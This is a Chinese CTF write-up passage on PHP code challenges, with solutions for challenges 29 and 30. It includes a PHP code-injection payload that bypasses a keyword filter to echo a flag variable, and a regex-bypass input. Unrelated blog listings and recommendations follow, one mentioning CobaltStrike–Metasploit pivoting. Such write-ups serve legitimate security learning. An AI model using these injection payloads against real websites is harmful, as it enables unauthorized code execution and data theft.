8b5202991bcba3ff13dd2c1f5a37d49e00e4bc48
增加条件:
<?php
$s=sha1(time());
echo $s;
$c=strlen($s);
echo '
';
echo $c;
?>
输出

09d3c5189576f97f22d5bf4a31074bec4db71289

40
长度为40.

加上php判断条件后长度为49。尝试输入49个0成功。

此时关注到最后一个判断条件:
此处我们可以自己造一个韩束出来来显示flag这个变量,但由于flag被过滤,我没让你需要用拼接的方式来让它显现出来
$a='alag';
$a{0}='f';
在php中 <?php echo $a?>和<?=$a?>是一样的
payload:?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>
此时就是echo $flag

30.

<?php
require __DIR__.'/flag.php';
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){
die('Flag: '.$flag);
} highlight_file(__FILE__);
?>

满足正则表达式匹配即可,hongya..ho..ngya....hongyaaa:/./..hongya

PHP_Code_Challenge 1~30的更多相关文章

  1. 总结30个CSS3选择器

    或许大家平时总是在用的选择器都是:#id  .class  以及标签选择器.可是这些还远远不够,为了在开发中更加得心应手,本文总结了30个CSS3选择器,希望对大家有所帮助. 1 *:通用选择器 ;; ...

  2. 值得收藏!国外最佳互联网安全博客TOP 30

    如果你是网络安全从业人员,其中重要的工作便是了解安全行业的最新资讯以及技术趋势,那么浏览各大安全博客网站或许是信息来源最好的方法之一.最近有国外网站对50多个互联网安全博客做了相关排名,小编整理其中排 ...

  3. CSharpGL(30)用条件渲染(Conditional Rendering)来提升OpenGL的渲染效率

    CSharpGL(30)用条件渲染(Conditional Rendering)来提升OpenGL的渲染效率 当场景中有比较复杂的模型时,条件渲染能够加速对复杂模型的渲染. 条件渲染(Conditio ...

  4. 30分钟学会XAML

    1.狂妄的WPF 相对传统的Windows图形编程,需要做很多复杂的工作,引用许多不同的API.例如:WinForm(带控件表单).GDI+(2D图形).DirectX API(3D图形)以及流媒体和 ...

  5. Shell脚本编程30分钟入门

    Shell脚本编程30分钟入门 转载地址: Shell脚本编程30分钟入门 什么是Shell脚本 示例 看个例子吧: #!/bin/sh cd ~ mkdir shell_tut cd shell_t ...

  6. ViEmu 3.6.0 过期 解除30天限制的方法

    下载:链接: http://pan.baidu.com/s/1c2HUuWw 密码: sak8 删除下面2个地方 HKEY_CLASSES_ROOT\Wow6432Node\CLSID\{B9CDA4 ...

  7. AlloyTouch全屏滚动插件发布--30秒搞定顺滑H5页

    原文链接:https://github.com/AlloyTeam/AlloyTouch/wiki/AlloyTouch-FullPage-Plugin 先验货 插件代码可以在这里找到. 注意,虽然是 ...

  8. C#求斐波那契数列第30项的值(递归和非递归)

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  9. JS组件系列——又一款MVVM组件:Vue(一:30分钟搞定前端增删改查)

    前言:关于Vue框架,好几个月之前就听说过,了解一项新技术之后,总是处于观望状态,一直在犹豫要不要系统学习下.正好最近有点空,就去官网了解了下,看上去还不错的一个组件,就抽空研究了下.最近园子里vue ...

随机推荐

  1. 团队作业4:第七篇Scrum冲刺博客(歪瑞古德小队)

    目录 一.Daily Scrum Meeting 1.1 会议照片 1.2 项目进展 二.项目燃尽图 三.签入记录 3.1 代码/文档签入记录 3.2 Code Review 记录 3.3 issue ...

  2. codeforce Round #599(Div.2)

    题目传送门 A. Maximum Square 题目意思是给你n个长条,每个长条的高度是num[i](0 < i < n),每一条的宽度都是 1 :然后求这些长条可以组成的最大面积的正方形 ...

  3. 完美解决方案-雪花算法ID到前端之后精度丢失问题

    最近公司的一个项目组要把以前的单体应用进行为服务拆分,表的ID主键使用Mybatis plus默认 的雪花算法来生成. 快下班的时候,小伙伴跑过来找我,:"快给我看看这问题,卡这卡了小半天了 ...

  4. 创建VUE+Element-UI项目

    创建项目步骤 安装node.js后,使用管理员角色在cmd中依次运行下列步骤 vue init webpack hello-vue 创建项目文件 cd hello-vue 进入项目 npm insta ...

  5. drf中View和router的详解

    Rest Framework 视图和路由 因为涉及到视图层面了,而且下面的例子会反复用到request.data,所以我决定带大家稍微看下源码,感兴趣的可以自己深入了解 无论是View还是APIVie ...

  6. .NET ORM 分表分库【到底】怎么做?

    理论知识 分表 - 从表面意思上看呢,就是把一张表分成N多个小表,每一个小表都是完正的一张表.分表后数据都是存放在分表里,总表只是一个外壳,存取数据发生在一个一个的分表里面.分表后单表的并发能力提高了 ...

  7. CobaltStrike与Metasploit联动配合

    利用CobaltStrike内置Socks功能 通过Beacon内置的Socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透. 首先,到已 ...

  8. vagrant安装的坑

    关于VAGRANT安装过程的坑 标签: 虚拟化     闲来无聊 试试vagrant虚拟化技术 安装过程中坑太多了 所以记录下方便以后 注意: 执行 vagrant up 命令报错 如下   PS F ...

  9. mysql表中时间timestamp设计

    Mysql数据库中CURRENT_TIMESTAMP和ON UPDATE CURRENT_TIMESTAMP区别   如图所示,mysql数据库中,当字段类型为timestamp时,如果默认值取CUR ...

  10. Vue.$set的使用场景

    有这样一个需求,用户可以增加多个输入框可以编辑:     实现的思路很简单,点击增加的时候,往一个数组里面push一条数据即可: <template> <div> <di ...